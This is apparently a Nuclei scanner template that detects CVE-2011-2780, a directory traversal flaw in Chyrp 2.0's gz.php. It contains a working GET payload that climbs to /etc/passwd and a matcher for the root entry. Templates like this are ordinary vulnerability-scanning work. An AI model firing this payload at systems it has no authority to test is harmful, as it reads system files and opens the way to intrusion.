id: CVE-2011-2780

info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744.
  reference:
    - http://www.justanotherhacker.com/advisories/JAHx113.txt
    - http://www.openwall.com/lists/oss-security/2011/07/13/5
    - http://www.ocert.org/advisories/ocert-2011-001.html
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - http://web.archive.org/web/20210121214023/https://www.securityfocus.com/bid/48672/
    - http://web.archive.org/web/20140723162411/http://secunia.com/advisories/45184/
    - http://securityreason.com/securityalert/8312
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565
    - http://web.archive.org/web/20201207104106/https://www.securityfocus.com/archive/1/518890/100/0/threaded
  remediation: Upgrade to a supported version.
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cve-id: CVE-2011-2780
    cwe-id: CWE-22
    cvss-score: 5.0
  tags: cve,cve2011,lfi,chyrp
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/18